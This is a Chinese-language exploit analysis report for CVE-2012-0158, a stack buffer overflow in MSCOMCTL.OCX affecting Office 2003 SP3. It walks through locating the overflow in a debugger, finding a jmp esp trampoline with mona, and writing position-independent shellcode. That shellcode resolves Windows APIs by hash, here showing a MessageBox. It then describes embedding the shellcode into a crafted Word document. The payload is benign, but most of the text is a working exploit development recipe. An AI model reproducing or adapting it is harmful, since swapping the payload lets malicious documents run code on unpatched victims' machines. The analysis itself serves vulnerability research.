文章目录
Office 2003 sp3(CVE-2012-0158)漏洞分析报告
软件名称 | Office 2003 sp3 | 操作系统 | Windows XP/2003/7/8.1/10 |
---|---|---|---|
软件版本 | 11.0.8322 | 漏洞编号 | CVE-2012-0158 |
漏洞模块 | MSCOMCTL.OCX | 危害等级 | 超危 |
模块版本 | 6.01.9545 | 漏洞类型 | 缓冲区溢出 |
编译日期 | 2012-01-01 | 威胁类型 | 本地 |
1.漏洞背景
Microsoft Office 2003 sp3是2007年9月18日由微软公司创作的一个办公软件。精简版包含 Word、Excel、PowerPoint、Access、OutLook 五大组件常用功能。Microsoft Office 2003 sp3软件的MSCOMCTL.ocx 模块中275C876D 的函数在读取Word文档数据时,由于读取的长度和验证的长度都在文件中,所以攻击者可以*构造缓冲区大小,进而触发栈溢出漏洞。
2.漏洞成因
2.1 触发漏洞
使用Office 2003 sp3 Word软件打开PoC样本文件,触发漏洞
2.2 定位漏洞模块
使用OllyDbg附加调试WINWORD.EXE程序,(设置OD,将忽略异常都恢复)打开poc文件,触发漏洞,效果如下图:
分析溢出点附近堆栈,溢出点下面的堆栈一般是刚刚调用的函数的上一层函数堆栈,溢出后可能已经破坏,溢出点上面的堆栈一般是刚刚执行的函数堆栈,可以发现有两个模块地址,一个是MSCOMCTL 模块中的地址275C8A0A,另一个是msvcp60模块的地址6A626F43, 这两个地址离得很近,不确定是哪个模块触发得漏洞,在两个模块都下断点,重新执行POC文件。
单步F8运行,可以确定是MSCOMCTL 模块中函数MSCOMCTL.275C876D触发了漏洞。
2.3 定位漏洞函数
已经确定是MSCOMCTL.275C876D触发了漏洞,使用 IDA 定位到 MSCOMCTL.ocx模块 中的 275C876D 函数
动态调试分析sub_275C876D函数得参数,参数3要读取的长度是0x8282。
单步F7进入sub_275C876D,找到造成溢出的代码。
使用IDA详细分析该段代码,qmemcpy内存拷贝函数触发溢出漏洞。
2.4 分析漏洞成因
获取 shellcode 长度之后,在文件中搜索定位长度,发现有两个长度,猜测一个是 dwBytes,一个是 v7。
验证猜测,修改一个字节,再次动态调试,可以确定文件中第一个长度是参数的长度,第二个长度是读取的长度,两个长度都在文件中,所以可以随心所欲的溢出了。
OD动态调试,可以发现83所在的位置是参数,84所在的位置是局部变量的值。
2.5 总结
经过调试和分析之后,CVE-2012-0158 漏洞触发在 MSCOMCTL.ocx 模块中,漏洞成因是在读取数据时,要读取的长度和验证的长度都在文件中,所以可以自行构造,进而触发栈溢出。
3.利用过程
3.1 分析和设计利用漏洞的ShellCode的结构
3.2 寻找跳板指令jmp esp
使用 ImmunityDebugger+mona.py
!mona modules
找到 Rebase ,SafeSEH, ASLR,NXCompat 为 False ,而 OS DLL 为 True 的系统模块。
!mona find -s "\xff\xe4" -m msvbvm60.dll
获取 jmp esp 地址是 0x729A0535,该地址内存属性可读可写可执行。
3.3 编写ShellCode,注入ShellCode
#include "ShellCode.h"
//#include <stdio.h>
extern "C" int shellcode_start();
//定位代码位置
_declspec(naked) int shellcode_entry()
{
_asm {
jmp shellcode_start
}
}
//**************************************************
// 获取Kernel32模块基址
//**************************************************
_declspec(naked) int GetKernel32Addr()
{
_asm {
push esi
mov esi, dword ptr fs : [0x30] //esi=PEB地址
mov esi, [esi + 0x0C] //esi=PEB_LDR_DATA结构体的地址
mov esi, [esi + 0x1C] //esi=模块链表指针InInitializationOrderModuleList
mov esi, [esi] //esi=访问链表的第二个条目
mov eax, [esi + 0x08] //ebx=Kernel32.dll模块基址
pop esi
ret
}
}
//**************************************************
// 获取字符串的Hash值
//**************************************************
_declspec(naked) int GetStringHash(const char* szString)
{
_asm {
push ebp
mov ebp, esp
push edx
push esi
xor edx, edx
xor eax, eax
mov esi, [ebp + 8] //获取参数,字符串
GetStringLoop:
lods byte ptr[esi] //获取字符串一个字节
test al, al //判断是否到达字符串末尾
je GetStringExit
rol edx, 0x3 //求HASH
xor dl, al //求HASH
jmp GetStringLoop
GetStringExit :
xchg eax, edx
pop esi
pop edx
mov esp, ebp
pop ebp
ret 4
}
}
//**************************************************
// 比较API的Hash值
//**************************************************
_declspec(naked) int Hash_CmpString(const char* pFunName, int nHash)
{
_asm {
push ebp
mov ebp, esp
push edx
push ebx
mov eax, [ebp + 8] //获取参数,字符串
push eax
call GetStringHash
mov ebx, eax
mov edx, [ebp + 0xC] //参数2, hash
xor eax, eax
cmp ebx, edx //比较字符串hash值
jne Hash_CmpString_End //不相等返回0
mov eax, 0x1 //相等返回1
Hash_CmpString_End:
pop ebx
pop edx
mov esp, ebp
pop ebp
ret 8
}
}
//**************************************************
// 根据HASH值 寻找指定模块的函数地址
//**************************************************
_declspec(naked) int GetFunAddrByHash(int nHash, int nImageBase)
{
_asm {
push ebp
mov ebp, esp
sub esp, 0xC //申请局部空间
push edx
push ebx
//1.获取ENT/EAT/EOT地址
mov edx, [ebp + 0xC] //edx=nImageBase
mov esi, [edx + 0x3C] //esi=pDosHeader->e_lfanew
lea esi, [edx + esi] //esi=PE头
mov esi, [esi + 0x78] //esi=IMAGE_EXPORT->VirtualAddress
lea esi, [edx + esi] //esi=导出表首地址
//EAT
mov edi, [esi + 0x1C] //edi=pExport->AddressOfFunctions
lea edi, [edx + edi] //EAT首地址
mov[ebp - 0x4], edi
//ENT
mov edi, [esi + 0x20] //edi=pExport->AddressOfNames
lea edi, [edx + edi] //ENT首地址
mov[ebp - 0x8], edi
//EOT
mov edi, [esi + 0x24] //edi=pExport->AddressOfNameOrdinals
lea edi, [edx + edi] //EOT首地址
mov[ebp - 0xC], edi
//2.循环比对ENT中的函数名
xor eax,eax
xor ecx, ecx //i=0
jmp CmpIndex
AddIndex :
inc ecx
CmpIndex :
cmp ecx, [esi + 0x18]
jge GetFunAddr_Exit
mov ebx, [ebp - 0x8] //获取ENT基址
mov ebx, [ebx + ecx * 4] //取ENT[i]RVA
lea ebx, [ebx + edx] //ebx=函数名首地址
push[ebp + 0x8] //参数2:hash值
push ebx //参数1:函数名
call Hash_CmpString //比较
test eax, eax
je AddIndex
//3.成功找到对应序号
mov ebx, [ebp - 0xC] //获取EOT基址
xor edi, edi
mov di, [ebx + ecx * 2] //EOT[i]-->地址表下标
//4.在EAT中找到对应函数地址
mov ebx, [ebp - 0x4] //EAT
mov edi, [ebx + edi * 4] //EAT[edi]
//5.返回函数地址
lea eax, [edi + edx] //函数地址
GetFunAddr_Exit:
pop ebx
pop edx
mov esp, ebp
pop ebp
ret 8
}
}
//**************************************************
// Shellcode入口点
//**************************************************
_declspec(naked) int shellcode_start()
{
_asm {
push ebp
mov ebp, esp
sub esp, 0x30 //申请局部空间
push edx
jmp tag_start
// tag_code_pop-0x2A len:12 "kernel32.dll"
_asm _emit(0x6B) _asm _emit(0x65) _asm _emit(0x72) _asm _emit(0x6E)
_asm _emit(0x65) _asm _emit(0x6C) _asm _emit(0x33) _asm _emit(0x32)
_asm _emit(0x2E) _asm _emit(0x64) _asm _emit(0x6C) _asm _emit(0x6C)
_asm _emit(0x00)
// tag_code_pop-0x1D len:10 "user32.dll"
_asm _emit(0x75) _asm _emit(0x73) _asm _emit(0x65) _asm _emit(0x72)
_asm _emit(0x33) _asm _emit(0x32) _asm _emit(0x2E) _asm _emit(0x64)
_asm _emit(0x6C) _asm _emit(0x6C) _asm _emit(0x00)
// tag_code_pop-0x12 len:12 "Hello World!"
_asm _emit(0x48) _asm _emit(0x65) _asm _emit(0x6C) _asm _emit(0x6C)
_asm _emit(0x6F) _asm _emit(0x20) _asm _emit(0x57) _asm _emit(0x6F)
_asm _emit(0x72) _asm _emit(0x6C) _asm _emit(0x64) _asm _emit(0x21)
_asm _emit(0x00)
tag_start:
call tag_code_pop
tag_code_pop :
pop edx
lea esi, [edx - 0x1D] //获取user32字符串地址
mov [ebp - 0x4], esi
lea esi, [edx - 0x12] //获取Hello World!字符串地址
mov [ebp - 0x8], esi
lea esi, [edx - 0x12] //获取kernel32.dll字符串地址
mov [ebp - 0x24], esi
// 1. 获取 Kernel32 基地址
call GetKernel32Addr
mov[ebp - 0xC], eax //ebp-0x4:user32字符串地址
// 2. 获取 GetProcAddress 地址 //ebp-0x8:Hello World!字符串地址
push eax //ebp-0xC:Kernel32基址
push 0xF2509B84 //ebp-0x10:GetProcAddress函数地址
call GetFunAddrByHash //ebp-0x14:LoadLibraryExA函数地址
mov[ebp - 0x10], eax //ebp-0x18:user32基址
// 3. 获取 LoadLibraryExA 地址 //ebp-0x1C:MessageBoxA函数地址
push[ebp - 0xC] //ebp-0x20:
push 0x04BF60E8 //ebp-0x24:kernel32.dll字符串地址
call GetFunAddrByHash
mov [ebp - 0x14], eax
// 4. 获取 user32 基地址
push 0
push 0
push [ebp - 0x4]
call eax
mov [ebp - 0x18], eax
// 5. 获取 MessageBoxA 地址
push eax
push 0x14D14C51
call GetFunAddrByHash
mov[ebp - 0x1C], eax
// 6. 调用 MessageBoxA 地址
xor edx, edx
push edx // |-uType
push edx // |-lpCaption
push[ebp - 0x8] // |-lpText
push edx // |-hWnd
call eax
// 7. 获取 ExitProcess 地址
push[ebp - 0xC]
push 0xE6FF2CB9
call GetFunAddrByHash
// 8. 调用 ExitProcess
xor edx, edx
push edx
call eax
//恢复寄存器环境
pop edx
mov esp, ebp
retn
}
}
int main()
{
shellcode_entry();
return 0;
}
4.构造Exp
提取二进制代码构造Exploit,注入ShellCode之后的PoC文件:可以利用漏洞。
使用Office打开新构建的PoC文件,完成漏洞利用。
5.结语
引发漏洞的mscomctl.ocx模块是电脑系统中ActiveX插件的控制模块。mscomctl.ocx在系统中是不可缺少的,涉及的用户面很广泛,并且攻击人员可任意修改引发该漏洞的缓冲区大小,执行恶意代码,危害极高。